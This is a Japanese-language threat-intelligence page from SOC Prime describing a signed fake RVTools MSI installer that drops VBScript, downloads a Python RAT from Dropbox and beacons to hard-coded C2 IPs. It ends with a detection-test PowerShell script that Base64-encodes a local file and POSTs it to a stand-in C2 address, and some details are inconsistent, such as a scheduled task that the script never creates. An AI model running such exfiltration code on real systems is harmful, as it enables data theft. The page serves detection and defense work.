SOC Prime Bias: 中程度

29 May 2026 07:20 UTC

RVTools の偽装: 署名された偽インストーラーがモジュラPython RATを展開する方法

Author Photo
SOC Prime Team linkedin icon フォローする
RVTools の偽装: 署名された偽インストーラーがモジュラPython RATを展開する方法
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

正規の証明書で署名された悪意のあるMSIインストーラーが、VMware管理者が使用するRVToolsユーティリティを装っている。実行されると、インストーラーはVBScriptをドロップし、PowerShellを起動してDropboxから大きなZIPアーカイブをダウンロードする。アーカイブには、偵察、持続性、およびハードコードされたコマンドアンドコントロールサーバーへの通信が可能な多段階のRATを実行するポータブルPython環境が含まれている。

調査

解析はMSIをカスタムVBScriptアクションに追跡し、 Binary.MyScript.vbsが難読化されたPowerShellコマンドをデコードした。そのコマンドは winp.zip ペイロードを %APPDATA%にダウンロードし、Pythonコンポーネントや collector.py and Pmanager.pyのようなスクリプトを抽出し、再起動後にレジストリのRunキーとスケジュールドタスクを通じて持続性を確立した。研究者はまた、RATが収集したデータをRC4で暗号化し、5つの固定IPアドレスに5分間隔でビーコンを送信することを発見した。

緩和策

組織は、生のOCSPまたはCRLチェックを使用して厳格なコード署名の検証を実施し、信頼できないMSIの実行をブロックし、インストーラーパッケージに埋め込まれた不審なVBScriptカスタムアクションを監視する必要がある。また、防御者はダウンロードされたスクリプトの自動実行を防ぎ、新しいRunキーエントリやスケジュールドタスク作成を監視し、未知のハードコードされたIPアドレスへの送信トラフィックを警告する必要がある。

対応策

このアクティビティが検出された場合、影響を受けたエンドポイントを直ちに隔離し、法医学分析のためにMSI、VBScript、および抽出されたペイロードファイルを収集し、Runキーとスケジュールドタスクを含む全ての持続性のアーティファクトを削除する必要がある。識別されたコマンドアンドコントロールIPアドレスはファイアウォールでブロックされ、横移動が発生したかどうかを判断するために認証情報およびActive Directoryアクティビティの広範なレビューが行われるべきである。

攻撃フロー

シミュレーション実行

前提条件: テレメトリーとベースラインの事前飛行チェックが通過している必要があります。

理論: このセクションでは、検出ルールをトリガーするために設計された攻撃者テクニック(TTP)の正確な実行を詳述します。コマンドとナラティブは特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリーを生成することを目指します。

  • 攻撃のナラティブとコマンド:
    被害者マシンで既に足がかりを得た攻撃者は、小さなデータセット(例えば、 C:Tempsecret.txt)を流出させることを決定します。攻撃者は一般的なアウトバウンドトラフィック警報を引き起こさないように、 PowerShell のワンライナーを使用して、ハードコードされたC2 IPの1つ(192.0.2.10)に直接HTTP POSTを実行します。このコマンドはWindowsで スケジュールドタスク によって設定され、持続性を確保します(T1546.013)。追加のバイナリはドロップされず、活動は「living-off-the-land」を維持します。

  • リグレッションテストスクリプト:

    # -------------------------------------------------
    # PowerShellスクリプト - ハードコードされたIPを介したデータ流出
    # -------------------------------------------------
    $c2Ip   = "192.0.2.10"
    $c2Port = 80
    $uri    = "http://$c2Ip/exfil"
    $file   = "C:Tempsecret.txt"
    
    # ファイルが存在することを確認します(テスト用にダミーデータを作成)
    if (-Not (Test-Path $file)) {
        "sensitive data $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
    }
    
    # ファイルの内容を読み込み、Base64でエンコードします
    $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))
    
    # HTTP POSTを実行します
    $body = @{ data = $payload }
    try {
        Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
        Write-Host "$c2Ipへの流出試みが送信されました"
    } catch {
        Write-Error "流出に失敗しました: $_"
    }
  • クリーンアップコマンド:

    # ダミーファイルを削除します
    Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue
    
    # テストのために作成されたスケジュールドタスクを削除します
    $taskName = "DataExfilTask"
    if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
    }